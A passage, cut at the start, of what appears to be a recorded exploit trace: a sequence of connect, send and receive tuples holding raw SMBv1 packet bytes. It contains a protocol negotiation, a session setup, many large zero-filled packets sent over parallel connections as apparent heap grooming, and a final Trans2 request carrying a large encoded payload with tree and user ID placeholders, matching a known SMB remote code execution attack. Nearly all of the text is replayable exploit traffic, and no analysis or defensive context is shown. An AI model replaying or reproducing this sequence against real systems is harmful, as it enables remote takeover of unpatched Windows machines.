qeJvInYgOguNQs9XTlteOjTLZX5tU97X/JoaVMN8zwAkgTjpIAKN4NQoXD670XEgTNsF7GswgsMIfDXDvTudKaon\\x00\\x00\\x001\\xffSMB+\\x00\\x00\\x00\\x00\\x18\\x07\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00__TREEID__PLACEHOLDER__\\xff\\xfe__USERID__PLACEHOLDER__@\\x00\\x01\\x01\\x00\\x0c\\x00JlJmIhClBsr\\x00', 0.0)", "('recv', 1, 0.0)", "('connect', 2, 0.0)", "('send', 2, b'\\x00\\x00\\x00\\x85\\xffSMBr\\x00\\x00\\x00\\x00\\x18S\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00@\\x00\\x00b\\x00\\x02PC NETWORK PROGRAM 1.0\\x00\\x02LANMAN1.0\\x00\\x02Windows for Workgroups 3.1a\\x00\\x02LM1.2X002\\x00\\x02LANMAN2.1\\x00\\x02NT LM 0.12\\x00', 0.0)", "('recv', 2, 0.0)", "('send', 2, b'\\x00\\x00\\x00Q\\xffSMBs\\x00\\x00\\x00\\x00\\x18\\x07\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00@\\x00\\x0c\\xff\\x00\\x00\\x00\\x04\\x11\\n\\x00-\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x16\\x00\\xf0\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', 0.0)", "('recv', 2, 0.0)", "('connect', 3, 0.0)", "('connect', 4, 0.0)", "('send', 3, b'\\x00\\x00\\xff\\xf7\\xfeSMB\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', 0.0)", "('connect', 5, 0.0)", "('send', 4, b'\\x00\\x00\\xff\\xf7\\xfeSMB\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', 0.0)", "('send', 5, b'\\x00\\x00\\xff\\xf7\\xfeSMB\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', 0.0)", "('connect', 6, 0.0)", "('send', 6, b'\\x00\\x00\\xff\\xf7\\xfeSMB\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', 0.0)", "('connect', 7, 0.0)", "('connect', 8, 0.0)", "('send', 7, b'\\x00\\x00\\xff\\xf7\\xfeSMB\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', 0.0)", "('send', 8, b'\\x00\\x00\\xff\\xf7\\xfeSMB\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', 0.0)", "('connect', 9, 0.0)", "('connect', 10, 0.0)", "('send', 9, b'\\x00\\x00\\xff\\xf7\\xfeSMB\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', 0.0)", "('send', 10, b'\\x00\\x00\\xff\\xf7\\xfeSMB\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', 0.0)", "('connect', 11, 0.0)", "('connect', 12, 0.0)", "('send', 11, b'\\x00\\x00\\xff\\xf7\\xfeSMB\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', 0.0)", "('connect', 13, 0.0)", "('send', 12, b'\\x00\\x00\\xff\\xf7\\xfeSMB\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', 0.0)", "('connect', 14, 0.0)", "('send', 13, b'\\x00\\x00\\xff\\xf7\\xfeSMB\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', 0.0)", "('connect', 15, 0.0)", "('send', 14, b'\\x00\\x00\\xff\\xf7\\xfeSMB\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', 0.0)", "('connect', 16, 0.0)", "('send', 15, b'\\x00\\x00\\xff\\xf7\\xfeSMB\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', 0.0)", "('send', 16, b'\\x00\\x00\\x00\\x85\\xffSMBr\\x00\\x00\\x00\\x00\\x18S\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00@\\x00\\x00b\\x00\\x02PC NETWORK PROGRAM 1.0\\x00\\x02LANMAN1.0\\x00\\x02Windows for Workgroups 3.1a\\x00\\x02LM1.2X002\\x00\\x02LANMAN2.1\\x00\\x02NT LM 0.12\\x00', 0.0)", "('recv', 16, 0.0)", "('send', 16, b'\\x00\\x00\\x00Q\\xffSMBs\\x00\\x00\\x00\\x00\\x18\\x07@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00@\\x00\\x0c\\xff\\x00\\x00\\x00\\x04\\x11\\n\\x00,\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x16\\x00\\xf8\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', 0.0)", "('recv', 16, 0.0)", "('close', 2, 0.0)", "('connect', 17, 0.0)", "('send', 17, b'\\x00\\x00\\xff\\xf7\\xfeSMB\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', 0.0)", "('connect', 18, 0.0)", "('connect', 19, 0.0)", "('send', 18, b'\\x00\\x00\\xff\\xf7\\xfeSMB\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', 0.0)", "('connect', 20, 0.0)", "('send', 19, b'\\x00\\x00\\xff\\xf7\\xfeSMB\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', 0.0)", "('connect', 21, 0.0)", "('send', 20, b'\\x00\\x00\\xff\\xf7\\xfeSMB\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', 0.0)", "('send', 21, b'\\x00\\x00\\xff\\xf7\\xfeSMB\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', 0.0)", "('close', 16, 0.0)", "('send', 1, b'\\x00\\x00\\x001\\xffSMB+\\x00\\x00\\x00\\x00\\x18\\x07\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00__TREEID__PLACEHOLDER__\\xff\\xfe__USERID__PLACEHOLDER__@\\x00\\x01\\x01\\x00\\x0c\\x00JlJmIhClBsr\\x00', 0.0)", "('recv', 1, 0.0)", "('send', 1, b'\\x00\\x00\\x105\\xffSMB3\\x00\\x00\\x00\\x00\\x18\\x07\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00__TREEID__PLACEHOLDER__\\xff\\xfe__USERID__PLACEHOLDER__@\\x00\\t\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x105\\x00\\xd0\\xf3\\x00\\x00\\x00\\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\\x80\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 